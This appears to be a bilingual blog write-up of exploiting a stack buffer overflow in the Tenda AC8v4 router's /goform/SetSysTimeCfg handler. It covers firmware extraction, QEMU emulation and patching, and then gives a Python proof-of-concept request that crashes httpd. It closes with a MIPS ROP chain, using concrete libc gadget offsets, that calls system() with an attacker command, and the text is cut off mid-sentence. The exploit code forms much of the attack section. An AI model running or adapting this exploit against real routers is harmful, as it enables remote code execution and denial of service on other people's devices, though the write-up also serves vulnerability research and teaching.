ROPing Routers from scratch: Step-by-step Tenda Ac8v4 Mips 0day Flow-control ROP
Recently, my passion for binary-exploitation had been triggered unconsciously after learning new fun stuff on CEs and DLLs; Not sure why but I am always obsessed with assemblies, caller stacks, and glibc heaps and kinds of stuff. Thus I decided to look back into a batch of 0day that I found before and try to turn them into RCEs with these fun gadgets (always like controlling the flow makes me feel satisfied)
最近,在学习了 CE 和 DLL 上有趣的新东西后,无意识地激发了我对二进制开发的热情;不知道为什么,但我总是痴迷于程序集、调用者堆栈和 glibc 堆之类的东西。因此,我决定回顾一下我之前找到的一批 0day,并尝试用这些有趣的小工具将它们变成 RCE(总是像控制流程让我感到满足一样)
/bin/httpd
: Service or Sink
/bin/httpd
:服务或 Sink
The exploitation started on the tenda.com
latest firmware on its popular Ac8v4
Router; By accessing ‘s official firmware downloading page https://www.tenda.com.cn/download/detail-3518.html); After unzipping the firmware, you should see something similar to this; with one .docx
introduction of installing the firmware and a mysterious .bin
file:
漏洞利用始于其流行的 Ac8v4
路由器上的 tenda.com
最新固件;通过访问 的官方固件下载页面 https://www.tenda.com.cn/download/detail-3518.html);解压缩固件后,您应该会看到与此类似的内容;附有安装固件的.docx
介绍和一个神秘的 .bin
文件:
🐈 V16.03.34.06 tree
.
├── AC8V4 xxxx.docx
└── US_AC8V4.0si_V16.03.34.06_cn_TDC01.bin
Here the US_AC8V4.0si_V16.03.34.09_cn_TDC01.bin
file is the firmware system of the Ac8v4
! By Binwalk -Me
with squashfs
installed, we can see the entire Router firmware system at squashfs-root
:
这里的文件 US_AC8V4.0si_V16.03.34.09_cn_TDC01.bin
是 Ac8v4
的固件系统!通过安装了 squashfs
的 Binwalk -Me
,我们可以在 squashfs-root
处看到整个 Router 固件系统:
🐈 squashfs-root tree -L 1
.
├── .....
├── etc -> /dev/null
├── init -> bin/busybox
├── lib
├── mnt
├── proc
├── root -> /dev/null
├── sbin
└── .....
As we can see here, the inner Ac8v4
Firmware has the same architecture of a normal Linux-alike file system, with /root
, /proc
, /bin
, /etc
as root directories are shown here, but, also as we can see, some of these file-system paths are pointed into /dev/null
; which will need a bit of technique when it comes to simulating the firmware:) By viewing these binaries, I found a suspicious binary httpd
which is considerably large; as large as we can assume that it is the main service of the binary:
正如我们在这里看到的,内部的 Ac8v4
固件具有与普通 Linux 类似文件系统相同的架构,此处显示了 /root
、/proc
、/bin
、/etc
作为根目录,但是,正如我们所看到的,其中一些文件系统路径指向 /dev/null
;在模拟固件时,这需要一些技巧:)通过查看这些二进制文件,我发现了一个相当大的可疑二进制 httpd
;只要我们可以假设它是 binary 的主要服务:
By using IDA as our debugger, as the binary get loaded in, we can see a huge list of integrated API, such as websPageOpen
, sslFreeConnection
… and other un-named APIs such as sub_4222DC
and sub_495368
; But how can we find possible vulnerabilities at the great amount, well the magic is source-to-sink
and excluding sink by websGetVar
-> the function that parses remote sent data into the hosting binary;
通过使用 IDA 作为我们的调试器,随着二进制文件的加载,我们可以看到一个巨大的集成 API 列表,例如 websPageOpen
、sslFreeConnection
……以及其他未命名的 API,例如 sub_4222DC
和 sub_495368
;但是我们如何才能找到大量可能的漏洞,那么神奇的是 source-to-sink
并通过 websGetVar
排除 sink ->将远程发送的数据解析到托管二进制文件的函数;
After a while of source-to-sinking
and thinking, we locate a suspicious API : sub_4A79EC
, which seems to used to dealt with connections at /goform/SetSysTimeCfg
from call chain sub_4A79EC
-> fromSetSysTime
-> formDefineTendDa
, which defined all webform components :
经过一段时间的 source-to-sink
和思考,我们找到了一个可疑的 API : sub_4A79EC
,它似乎用于处理来自调用链 sub_4A79EC
-> fromSetSysTime
-> formDefineTendDa
(定义了所有 Web 表单组件)在 /goform/SetSysTimeCfg
处的连接:
int __fastcall sub_4A79EC(int a1)
{
....
s = (char *)websGetVar(a1, "time", &unk_4F09E0);
sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);
v18.tm_year = atoi((const char *)v6) - 0x76C;
v18.tm_mon = atoi((const char *)v8) - 1;
....
}
as introduced the websGetVar
parsed in the a2 -> "time"
from the listen webform /goform/SetSysTimeCfg
, the s
is directly parsed into sscanf
and stored into stack-based variables such as v6
, v8
, this is extremely dangerous since this is how sscanf
works:
正如 websGetVar
在 a2 -> “time”
中从监听 webform /goform/SetSysTimeCfg
中解析出来的,s
被直接解析成 sscanf
并存储到基于堆栈的变量中,比如 v6
、v8
,这是非常危险的,因为这就是 sscanf
的工作原理:
The
sscanf()
function reads data from buffer into the locations given by argument-list. If the strings pointed to by buffer and format-string overlap, behavior is undefined.
sscanf()
函数将数据从 buffer 读取到 argument-list 给定的位置。如果缓冲区和格式字符串指向的字符串重叠,则行为未定义。Each entry in the argument list must be a pointer to a variable of a type that matches the corresponding conversion specification in format-string. If the types do not match, the results are undefined.
参数列表中的每个条目都必须是指向与 format-string 中相应转换规范匹配的类型的变量的指针。如果类型不匹配,则结果不确定。The format-string controls the interpretation of the argument list. The format-string can contain multibyte characters beginning and ending in the initial shift state.
format-string 控制参数列表的解释。format-string 可以包含以初始 shift 状态开头和结尾的多字节字符。
What sscanf()
actually does is that it filters arg1
and splits and save them into different stack-based variables; in our case, the augment s
is being parsed in as the time
argument in (char *)websGetVar(a1, "time", &unk_4F09E0);
, here the sscanf
filters the input by the regex %[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s
; which extracts data into v6
or v9
or v10
or … as data1:data2:data2
pr data1-data2-data3
; which as these variables located on the stack; being even more dangerously
sscanf()
实际上所做的是过滤 arg1
并拆分并将它们保存到不同的基于堆栈的变量中;在我们的例子中,增强 S
被解析为 time
参数, (char *)websGetVar(a1, "time", &unk_4F09E0);
这里 sscanf
通过正则表达式过滤 %[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s
input ;它将数据提取到 v6
或 v9
或 v10
或 …as data1:data2:data2
pr data1-data2-data3
;which 作为这些变量位于堆栈上;变得更加危险
Mipsel is the best! Mipsel 是最好的!
results of readelf -h
tells us this binary is built in Mips
‘s endianness little architecture, to actually ROP
on this architecture, we will need to know more how commands here works more than the header cheat sheet and figure out how to run them on virtual-machines; To begin with, the registers works as this:
readelf -h
的结果告诉我们,这个二进制文件是用 Mips
的字节序 little 架构构建的,要真正在这个架构上进行 ROP
,我们需要更多地了解这里的命令是如何工作的,而不是标题备忘单,并弄清楚如何在虚拟机上运行它们;首先,寄存器的工作原理是这样的:
"$a0" – "$a3"
: Parameters for function calls. If there are more than 4 parameters, the extra ones are passed via the stack."$t0" - "$t7"
: Temporary registers."$s0" – "$s7"
: Saved registers. When using them, you need to save the registers you use to the stack."$gp"
: Global pointer, used to access data within a 32K range."$sp"
: Stack pointer, points to the top of the stack."$fp"
: Frame pointer."$ra"
: Stores the return address.
“$a 0” – “$a 3”
:函数调用的参数。如果参数超过 4 个,则额外的参数将通过堆栈传递。“$t 0” - “$t 7”
:临时寄存器。“$s 0” – “$s 7”
:保存的寄存器。使用它们时,您需要将您使用的 registers 保存到堆栈中。“$gp”
:全局指针,用于访问 32K 范围内的数据。“$sp”
:堆栈指针,指向堆栈的顶部。“$fp”
:帧指针。“$ra”
:存储退货地址。
As you noticed, Mips
does not have $bp
register, all stack-based operations will be implemented via the $sp
register; additionally, leaf
functions and non-leaf
functions exist in Mips
as a concept for RA
‘s behavior in the stack, which the leaf
function calls other external functions as API, non-leaf
does not, but in our case, we don’t need to take to much focus on that! Furthermore, mips
also supports lots of immediate operations such as addiu
, if you are not familiar with this, recommends checking the cheat sheet, which will help a lot in our ROP
part!
如您所见,Mips
没有 $bp
register,所有基于堆栈的操作都将通过 $sp
register 实现;此外,叶
函数和非叶
函数作为 RA
在堆栈中的行为的概念存在于 Mips
中,叶
函数将其其他外部函数称为 API,非叶
函数则没有,但在我们的例子中,我们不需要过多关注这一点!此外,mips
还支持很多即时操作,例如 addiu
,如果您不熟悉此,建议您查看备忘单,这对我们的 ROP
部分有很大帮助!
QEMU
+ Patching: Brain simulation (things I spend 2 days in)
QEMU
+ 修补:大脑模拟(我花 2 天时间做的事情)
Before we starts, do not use WSL2 / WSL in this task because I promised you pre-setup in networks won’t work (just like running steam on MacBook’s arm), try to use
Ubuntu-22.04
VMware can save you tons and tons of time.
在我们开始之前,请不要在此任务中使用 WSL2 / WSL,因为我向您保证在网络中进行预设置不起作用(就像在 MacBook 的手臂上运行 Steam 一样),尝试使用Ubuntu-22.04
VMware 可以为您节省大量时间。hardware virtualization. It is a hosted virtual machine monitor: it emulates the machine’s processor through dynamic binary translation and provides a set of different hardware and device models for the machine, enabling it to run a variety of operating systems. QEMU can run without a host kernel driver and yet gives acceptable performance, thanks to dynamic translation. It supports a variety of target architectures, including but not limited to x86, ARM, MIPS, PowerPC, and SPARC, which makes it a versatile tool for developing, testing, or simply running software for different architectures.
硬件虚拟化。它是一个托管的虚拟机监视器:它通过动态二进制转换模拟机器的处理器,并为机器提供一组不同的硬件和设备模型,使其能够运行各种操作系统。QEMU 可以在没有主机内核驱动程序的情况下运行,但由于动态转换,性能还可以接受。它支持各种目标架构,包括但不限于 x86、ARM、MIPS、PowerPC 和 SPARC,这使其成为为不同架构开发、测试或简单地运行软件的多功能工具。
For us to run the MipselTenda Ac8v4
image in a identical environment as the router without buying one (I bought one but still shipping as I wrote this); we will need to utilized QEMU
as our multi-arch supported VM for MIPsel
. QEMU
supports different level of simulation depends in your cases, qemu-xxx-static
can allows you to run cross-arch binary independently, while qemu-system-xxx
allows you to run the entire file system, in our case, qemu-system
will work best for us since we have to deal with all these Dynamic-Linking Binaries and stuffs; Nevertheless it also takes more efforts to run.
让我们在与路由器相同的环境中运行 MipselTenda Ac8v4
映像而无需购买(我买了一个,但在我写这篇文章时仍然发货);我们需要将 QEMU
用作 MIPsel
的多架构支持的 VM。QEMU
根据你的情况支持不同级别的模拟,qemu-xxx-static
可以让你独立运行跨架构的二进制文件,而 qemu-system-xxx
允许你运行整个文件系统,在我们的例子中,qemu-system
最适合我们,因为我们必须处理所有这些动态链接的二进制文件和东西;然而,运行也需要更多的努力。
To begin with, there are a bit of ifconfig
configurations we need to handle first, inter-communications between qemu
and your localhost
are always something that causes lots of headaches, for us, we will try to build a tun
and tap
device; which qemu
virtual machines read and write the /dev/net/tun
device as a file descriptor, using the tap0
network interface card to interact with the host’s protocol stack (which requires a bridge br0
in your host).
首先,我们首先需要处理一些 ifconfig
配置,qemu
和你的 localhost
之间的互通总是让人头疼的事情,对我们来说,我们将尝试构建一个 tun
和 tap
设备;哪些 QEMU
虚拟机使用 tap0
网络接口卡与主机的协议栈交互(这需要主机中的桥接 BR0
)来读取和写入 /dev/net/tun
设备作为文件描述符。
apt-get install bridge-utils
apt-get install uml-utilities
ifconfig ens33 down # ens33 : switch it to your local interface
brctl addbr br0 # Adding br0
brctl addif br0 ens33 # Linking to br0
brctl stp br0 on # On stp
brctl setfd br0 2 # forward delay
brctl sethello br0 1 # Hello time
ifconfig br0 0.0.0.0 promisc up # enable br0
ifconfig ens33 0.0.0.0 promisc up # enable local interface
dhclient br0 # obtain br0's IP via dhclient
brctl show br0 # ls br0
brctl showstp br0 # show info of br0
tunctl -t tap0 # add tap0
brctl addif br0 tap0 # link to br0
ifconfig tap0 0.0.0.0 promisc up # enable tap0
ifconfig tap0 192.168.x.x/24 up # assign an ip for tap0 (x in subnet)
brctl showstp br0 # show br0's interface
As now if you check for the info of br0
, tap0
will be disable
currently; which will turns into forwarding
after we started our qemu-system
; furthermore, br0
, tap0
and your local interface should be in one same subnet. Moving on to the qemu-system-mipsel
building; we will need to install the debianmipsel
image at people.debian.org
:
和现在一样,如果你检查 br0
的信息,tap0
目前将被禁用
;在我们启动 qemu 系统
后,这将变成 forwarding
;此外,BR0
、TAP0
和您的本地接口应位于同一子网中。继续讨论 qemu-system-mipsel
构建;我们需要在 people.debian.org
安装 Debian Mipsel
镜像:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-2.6.32-5-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
After that, we can start out qemu-system-mipsel
simulation as this!
之后,我们可以像这样开始 qemu-system-mipsel
模拟!
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-append "nokaslr root=/dev/sda1" \
-hda debian_wheezy_mipsel_standard.qcow2 \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
The -net nic
option indicates that QEMU should create a virtual network card in the virtual machine. The -net tap
option specifies that the connection type is TAP, and -ifname
specifies the network interface name (which is the tap0
created earlier, essentially connecting the QEMU virtual machine to the bridge). The script
and downscript
options are used to tell QEMU whether to call scripts to configure the network environment when the system starts automatically. If these two options are empty, QEMU will automatically select the first nonexistent TAP interface (usually tap0
) as the parameter and call the scripts /etc/qemu-ifup
and /etc/qemu-ifdown
when starting and stopping. Since we have already configured everything, we can set these two parameters to no
.
-net nic
选项表示 QEMU 应该在虚拟机中创建一个虚拟网卡。-net tap
选项指定连接类型为 TAP,-ifname
指定网络接口名称(即之前创建的 tap0
,实质上是将 QEMU 虚拟机连接到网桥)。script
和 downscript
选项用于告诉 QEMU 在系统自动启动时是否调用脚本来配置网络环境。如果这两个选项都为空,QEMU 会自动选择第一个不存在的 TAP 接口(通常为 tap0
)作为参数,并在启动和停止时调用脚本 /etc/qemu-ifup
和 /etc/qemu-ifdown
。由于我们已经配置了所有内容,因此我们可以将这两个参数设置为 no
。
After the initialization (defaulted username and password are root
) , eth0
is not defaulted auto-assigned an ip
address, we can manually assign one as ifconfig eth0 192.168.x.x/24 up
(notice change x into free address in subnet). Now we upload the squashfsbinwalk
-ed firmware by scp
command, as we unzip the filesystem at /root
, make sure to mount /dev
and /proc
to the filesystem via mount -o bind /dev /root/dev && mount -t proc /proc /root/proc
. then chroot /root sh
to get into the file system root of the Tenda Ac8v4
;
初始化后(默认用户名和密码为 root
),eth0
没有默认自动分配一个 IP
地址,我们可以手动分配一个 as ifconfig eth0 192.168.x.x/24 up
(注意将 x 更改为子网中的免费地址)。现在我们通过 scp
命令上传 squashfsbinwalk-ed
固件,当我们在 /root
处解压文件系统时,请确保通过 mount -o bind /dev /root/dev && mount -t proc /proc /root/proc
将 /dev
和 /proc
挂载到文件系统中。然后 chroot /root sh
进入腾达 Ac8v4
的文件系统根目录;
Now if you run the vulnerable ./bin/httpd
, you may find two issues; the first one tells you some libc
file and symbol doesn’t exist, which can be fixed easily by adding it to the env via export LD_LIBRARY_PATH=/lib:$LD_LIBRARY_PATH
. Nevertheless. the second one requires more tricks, after rightfully setting the LD_LIBRARY_PATH
and the program started to run. you might found something very weird; which the program will be stuck after Welcome to ...
, without any networking binding heads-ups.
现在,如果您运行易受攻击的 ./bin/httpd
,您可能会发现两个问题;第一个告诉你一些 libc
文件和符号不存在,可以通过 将其添加到环境中来轻松修复 export LD_LIBRARY_PATH=/lib:$LD_LIBRARY_PATH
。不过。第二个需要更多的技巧,在正确设置LD_LIBRARY_PATH
并且程序开始运行之后。你可能会发现一些非常奇怪的东西;该程序将在 Welcome to ...(欢迎来到 ...
)之后卡住,没有任何网络绑定提醒。
Well, if you search for string 'welcome'
in IDA, you cross-reference the string which will takes you to main()
! and the cause of this is located at ifaddrs_get_ifip()
(You should see something similar to this):
好吧,如果你在 IDA 中搜索字符串 'welcome'
,你会交叉引用字符串,这会把你带到 main()
!原因位于 ifaddrs_get_ifip()
(您应该看到与此类似的内容):
puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n ****** Welcome to ******");
setup_signals();
while ( 1 )
{
lan_ifname = ifaddrs_get_lan_ifname();
if ( ifaddrs_get_ifip(lan_ifname, v10) >= 0 )
break;
sleep(1u);
}
the reason why it got stuck is due to the fact that ./bin/httpd
will run a bunch of networking scripts to make sure the router is in a good state, nevertheless, these networking scripts are never that necessary, we can simply bypass this assert by patching the return value for ifaddrs_get_ifip
in the assemble; or easily, jump to loc_43B798
directly:
它卡住的原因是 ./bin/httpd
会运行一堆网络脚本来确保路由器处于良好的状态,然而,这些网络脚本从来都不是那么必要,我们可以简单地通过在汇编中修补 ifaddrs_get_ifip
的返回值来绕过这个断言;或者轻松地直接跳转到 loc_43B798
:
.text:0043B768 lw $gp, 0x6B8+var_6A8($fp)
.text:0043B76C bgez $v0, loc_43B798 # <- j loc_43B798
.text:0043B770 nop
If you don’t want to enjoy opening IDA Pro
, no worries! You can download the patched version here -> github.com ; Now replacing the original ./bin/httpd
, the script should continue, but other issues will start to manifest; when assigning the listening address for httpd
, httpd
might say ‘unable to assign address’ or listened on 255.255.255.255
! How did this happen? If you search for 'httpd listen ip'
as a string; it will take you to socketOpenConnection()
and back to main()
如果您不想享受打开 IDA Pro
的乐趣,不用担心!您可以在此处下载修补后的版本 -> github.com ;现在替换原来的 ./bin/httpd
,脚本应该继续,但其他问题将开始显现;当为 HTTPD
分配侦听地址时,HTTPD
可能会显示“无法分配地址”或已侦听 255.255.255.255!
这是怎么发生的呢?如果您将 'httpd listen ip'
作为字符串搜索;它会带你到 socketOpenConnection()
并返回 main()
v4 = ifaddrs_get_lan_ifname();
if ( ifaddrs_get_ifip(v4, v11) < 0 )
{
GetValue("lan.ip", v8);
strcpy(g_lan_ip, v8);
memset(v12, 0, 0x5E4u);
if ( !file_lan_dhcpc_get_ipinfo_and_status(v12) && v12[0x8C] )
strcpy(g_lan_ip, &v12[0x8C]);
}
which the lan.ip
comes from global variable g_lan_ip
, which generally obtain the ip
at interface br0
; in our case, we don’t have br0
bridge interface in the QEMU
(we have it in Ubuntu
VMware indeed), thus we will have to create one using similar to the pre-qemu
setup, using brctl
and ifconfig
; we can try to assign the address manually ourselves instead of using dhclient
:
其中 lan.ip
来自全局变量 g_lan_ip
,一般在接口 br0
获取 IP
;在我们的例子中,我们在 QEMU
中没有 br0
桥接接口(我们在 Ubuntu
VMware 中确实有),因此我们必须使用类似于 qemu 之前的
设置创建一个,使用 brctl
和 ifconfig
;我们可以尝试自己手动分配地址,而不是使用 dhclient
:
brctl addbr br0 # adding br0 interface
ifconfig br0 192.168.x.x/24 up # manuly assigning an ip adress
Boom! now re-run the ./bin/httpd
file after exporting the LD_LIBRARY_PATH
, patching the ifaddrs_get_ifip()
, and building us a br0
interface; Now finally, the binding to the rightfully ip
and port
as httpd - web.c:158
debugging message shows, and we can directly access this in our browser, and we can see Tenda Ac8v4's
index page!
繁荣!现在在导出 LD_LIBRARY_PATH
后重新运行 ./bin/httpd
文件,修补 ifaddrs_get_ifip()
并构建一个 br0
接口;现在终于,合法的 ip
和 port
的绑定显示为 httpd - web.c:158
调试消息,我们可以在浏览器中直接访问它,我们可以看到腾达 Ac8v4 的
索引页!
$a0
+$t9
: Overflow and Flow-control
$a 0
+$t 9
:溢出和流量控制
Overflown 溢出
After setting up the qemu-system
level simulation for Tenda Ac8v4
, it is time to put it into practice! But before we start, serving a gdbserver
for the ./bin/httpd
can help us a lot! Firstly, make sure you fetch the latest possible gdbserver
binary at https://github.com/lucyoa/embedded-tools/tree/master/gdbserver, also be sure you download the right corresponding architecture as the QEMU
VM, in our case, we will choose gdbserver-7.7.1-mipsel-mips32-v1 to host; after downloading it via wget
or scp
and chmod +x
it, use ./gdbserver 0.0.0.0:[PORT_YOU_WANT] ./bin/httpd
to start serving! Also since we are debugging in mipsel
, we will need gdb-multiarch
to debug it (install as apt install gdb-multiarch
); After this, you can connect to this server by gdb-multiarch -q ./bin/httpd
, then target remote [address]:[port]
; make sure you continue
when you are connected.
在为腾达 Ac8v4
设置好 qemu 系统
级仿真后,是时候将其付诸实践了!但在我们开始之前,为 ./bin/httpd
提供 gdbserver
可以帮助我们很多!首先,确保在 https://github.com/lucyoa/embedded-tools/tree/master/gdbserver 获取最新的 gdbserver
二进制文件,并确保下载正确的对应架构作为 QEMU
VM,在我们的例子中,我们将选择 gdbserver-7.7.1-mipsel-mips32-v1 作为托管;通过 wget
或 scp
和 chmod +x
it 下载后,使用 ./gdbserver 0.0.0.0:[PORT_YOU_WANT] ./bin/httpd
开始服务!另外,由于我们在 mipsel
中调试,因此需要 gdb-multiarch
来调试它(以 apt install gdb-multiarch
的形式安装);在此之后,您可以通过 gdb-multiarch -q ./bin/httpd
连接到此服务器,然后 target remote [address]:[port]
;确保在连接后继续
。
If you uncounted mistakes connecting to the gdbserver; try remounting the
/proc
asmount -t proc /proc /root/proc
before youchroot . sh
to the firmware:)
如果您未计算连接到 gdbserver 的错误;尝试像以前一样mount -t proc /proc /root/proc
重新挂载/proc
. sh
到固件:)
After the gdbserver
is set, we can exploit this stack-based overflow at /goform/SetSysTimeCfg
as Proof-of-Concept! I created this poc.py
script to firstly test-out the overflow:
设置 gdbserver
后,我们可以利用 /goform/SetSysTimeCfg
中这个基于堆栈的溢出作为概念验证!我创建了这个 poc.py
脚本,首先测试溢出:
def sink(
host,
port,
payload
):
import requests
url = "http://{host}:{port}/goform/SetSysTimeCfg"
_payload = b''
_payload = b'retr0reg' + b":" + payload
data = {
b"timeType":b"manual",
b"time":_payload
}
def send_request():
try:
requests.post(url=url, data=data)
except Exception as e:
print(f"Request failed: {e}")
send_request()
For our initial payload, we can use pwndbg
integrated cyclic
to generate one; after sending a considerably large payload, we can see the program received Segmentation fault
due to Invaild return address
, this firstly allowed us to cause DoS on component ./bin/httpd
and halt the router!
对于我们的初始 payload,我们可以使用 pwndbg
integrated cyclic
来生成一个;在发送了相当大的 payload 后,我们可以看到程序收到了由于 Invaild 返回地址
而导致的 Segmentation 错误
,这首先让我们在组件 ./bin/httpd
上造成 DoS 并停止路由器!
At this point, using pwndbg
integrated cyclic -l
allows us to calculate the hijacked flow-controlling offset relative as our sent data using these special patterns; we can know the cause of the migration of the control flow is at offset 123
, b'bgaa' (hex: 0x62676161)
; meaning that replacing that offset with pointers allows us to manipulate the control-flow into that address, with that as our basis, we can start our advanced roping and achieving our final goal: Remote-Code Execution.
此时,使用 pwndbg
集成循环 -l
允许我们使用这些特殊模式计算相对于我们发送的数据的劫持流控偏移量;我们可以知道控制流迁移的原因是在偏移量 123
处,b'bgaa' (十六进制:0x62676161)
;这意味着用指针替换该偏移量允许我们操作控制流到该地址,以此为基础,我们可以开始我们的高级绳索并实现我们的最终目标:远程代码执行。
MIP ROP
: Pointer World
MIP ROP
:指针世界
For mips
architecture, ROP
will be a different subject comparing to the norm ROP
that we’re most familiar within Intel
syntax; MIPS
architecture uses a different mechanism to implement function returns. Specifically, MIPS
uses registers and jump instructions to achieve function returns. mostly by jal
and ja $ra
due to the focus of usage on $sp
; Thus in mips
‘s ROP
we cannot always use gadgets as pop rdi, ret
to control the flow of execution but rather focus on with registers
and pointers
; This makes ROP
even harder since lots of pre-setting on stack is required and changes occurs frequently between gadgets with the raise or low of the $sp
, additionally making it more confusing for us to pre-plan stack gadgets and targets.
对于 mips
架构,与我们在 Intel
语法中最熟悉的标准 ROP
相比,ROP
将是一个不同的主题;MIPS
体系结构使用不同的机制来实现函数返回。具体来说,MIPS
使用寄存器和跳转指令来实现函数返回。主要由 JAL
和 JA $ra
使用,因为使用集中在 $sp
;因此,在 mips
的 ROP
中,我们不能总是使用 gadgets as pop rdi, ret
来控制执行流程,而是专注于 registers
和 pointers
;这使得 ROP
更加困难,因为需要在堆栈上进行大量预设,并且随着$sp
的升高或降低,小工具之间经常发生变化,此外,我们预先规划堆栈小工具和目标变得更加混乱。
To begin with, as the wonderful mipsrop
plugin of IDA Pro
is provided to us, we can scan for utilizable Gadgets
for ROP
flow controlling. For a larger room exploitation, we decided to focus on the lib/libc.so
dynamic linking library as our gadget library, while the router file system not protected by ASLR
(if is we can leak via ROP
), we can call them at a fixed offset to the fix libc_base
; which in our case, via vmmap
the libc_base
for libc.so
-> (77f59000-77fe5000 r-xp 00000000 08:01 788000
) is located at 77f59000
. After knowing that, we can try to find gadgets
for the flow control
首先,由于向我们提供了 IDA Pro
的精彩 mipsrop
插件,我们可以扫描用于 ROP
流量控制的可用小工具
。对于更大的房间开发,我们决定将重点放在 lib/libc.so
动态链接库作为我们的 gadget 库,而不受 ASLR
保护的路由器文件系统(如果可以通过 ROP
泄漏),我们可以在修复libc_base
的固定偏移量处调用它们;在我们的例子中,通过 vmmap
libc.so
-> ( 77f59000-77fe5000 r-xp 00000000 08:01 788000
) 的libc_base
位于 77f59000
。知道了这一点后,我们可以尝试寻找用于流控的小工具
Trial 1: $a0
manipulation
试验 1:$a 0
操作
Mipsrop
provided us with the misrop.system()
method for locating $a0
modification with corresponding flow control gadget that is arranged very closely to each other. in our case, we found these two in libc.so
:
Mipsrop
为我们提供了 misrop.system()
方法,用于定位 $a 0
修改以及相应的流控小工具,这些小工具彼此排列得非常紧密。在我们的例子中,我们在 libc.so
中找到了这两个:
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0004D144 | addiu $a0,$sp,0x24+var_C | jr 0x24+var_s0($sp) |
| 0x00058920 | addiu $a0,$sp,0x28+var_C | jr 0x28+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
As these two gadget showed at 0x0004D144
and 0x00058920
, both of them allow us to control register $a0
(the first argument register) with an offset on the stack by register $sp
(addiu x,y,z
= x = y+z
), while direct jr
(jmp
) to another stack-offset by $sp
; this allows us to control have control over the $a0
for parameter passing before controlling the flow to another calle function by stack data we can control! For example, as the gadget 0x0004D144
at libc.so
, we can firstly change the $pc
padding to libc_base + 0x0004D144
, pad the expected value for $a0
at offset 0x24+var_C
of $sp
(this value equals to 0x24
– 0xC
= +0x24
), then pad $sp
offset 0x24+var_s0
(0x24+0
) to the jr
jumping address; creating stack structure like this:
正如这两个小工具在 0x0004D144
和 0x00058920
所示,它们都允许我们通过寄存器 $sp
(addiu x,y,z
= x = y+z
) 控制堆栈上偏移量的寄存器 $a 0
(第一个参数 register),同时将 jr
(jmp
) 直接指向另一个堆栈偏移量 $sp
;这允许我们控制和控制参数传递的 $a 0
,然后再通过我们可以控制的堆栈数据控制流向另一个被调用函数!例如,由于 gadget 在 libc.so 处0x0004D144
,我们可以先将
$pc
padding改为 libc_base + 0x0004D144
,在 $sp
的偏移量 0x24+var_C
处填充 $a 0
的期望值(该值等于 0x24
– 0xC
= +0x24
),然后将偏移量 $sp 0x24
+var_s0
(0x24+0
) 填充到 jr
跳转地址;创建堆栈结构,如下所示:
+------offset------+------value------+
| ret_addr + gadget 0x4D144 |
|------------------+-----------------|
| $sp+0x18 + $a0_addr |
|------------------+-----------------|
| $sp+0x24 + jr_addr |
+------------------+-----------------+
Now as we know the $pc
register offset at offset 123
(b'bgaa' (hex: 0x62676161)
) by cyclic, also known that $sp
is at offset 127
(b'bhaa' (hex: 0x61616862)
); furthermore, we will need to find the target for the ROP
, in this case, since we already knew the libc_base
address for libc.so
, we manipulate jr_addr
-> libc_base
+ _system
(libc.so
symbol of system
), while manipulating $sp+0x30
as the $a0
passed into _system
, the command string; which will give us this first exploit:
现在我们知道 $pc
寄存器偏移量在偏移量 123
(b'bgaa' (hex: 0x62676161)
) 被循环,也知道 $sp
在偏移量 127
(b'bhaa' (hex: 0x61616862))
处;此外,我们需要找到 ROP
的目标,在这种情况下,由于我们已经知道 libc.so
的 libc_base
地址,因此我们操作 jr_addr
-> libc_base
+ _system
(系统的
libc.so
符号),同时操作 $sp+0x30
作为 $a 0
传递到命令字符串_system
;这将给我们第一个漏洞:
def _rop(ropcmd: RopCmd):
# 77f59000-77fe5000 r-xp 00000000 08:01 788000
libc_base = 0x77f59000
ret_offset = 0x7b # --> b'bgaa'
sp_offset = 0x7f # --> b'bhaa'
_system = 0x004E630
a0_EQ_sp24_c_JR_24sp = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp)
# LOAD:0004D144 addiu $a0, $sp, 0x24+var_C
# LOAD:0004D148 lw $ra, 0x24+var_s0($sp)
# LOAD:0004D14C nop
# LOAD:0004D150 jr $ra
a0_EQ_sp28_c_JR_24sp = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
# LOAD:00058920 addiu $a0, $sp, 0x28+var_C
# LOAD:00058924 lw $v1, 0x28+var_C($sp)
# LOAD:00058928 lw $ra, 0x28+var_4($sp)
# LOAD:0005892C sw $v1, 0($s0)
# LOAD:00058930 lw $s0, 0x28+var_8($sp)
# LOAD:00058934 jr $ra
_payload = {
ret_offset: libc_base + a0_EQ_sp24_c_JR_24sp,
(sp_offset + 0x18): b'`mkdir /retr0reg`',
(sp_offset + 0x24): libc_base + _system,
}
return flat(_payload)
Here we constructed our ROP
payload using pwntools
‘s flat method, which avoids tons of 'payload +='
, p32()
operations and constructs payload easily with offsets as dictionary; with the libc_base
we obtained previously via vmmap
(/proc/<pid>/maps
) and $pc
+ $sp
offset via cyclic
pattern string; This ROP-Chain
should work as the $pc
changed into libc_base + a0_EQ_sp24_c_JR_24sp
; the $a0
will be mov
into sp_offset + 0x18
where stored our RCE Command
, then jr
into libc_base + _system
‘s libc system()
API. Now we can send the flattened _payload
directly via our constructed sink()
; and lets see what will happen…
这里我们使用 pwntools
的 flat 方法构建了我们的 ROP
payload,它避免了大量的 'payload +='
、p32()
操作,并使用偏移量作为字典轻松构建 payload;使用我们之前通过 vmmap
(/proc/<pid>/maps
) 获得libc_base
,并通过循环
模式字符串获得 $pc
+ $sp
偏移量;这个 ROP 链
应该在$pc
变为 libc_base + a0_EQ_sp24_c_JR_24sp
;$a 0
将移动到
sp_offset + 0x18
中存储我们的 RCE 命令
,然后将 jr
移动到 libc_base + _system
的 libc system()
API 中。现在我们可以通过构造的 sink()
直接发送扁平化的 _payload
;让我们看看会发生什么……
Well, ./bin/httpd
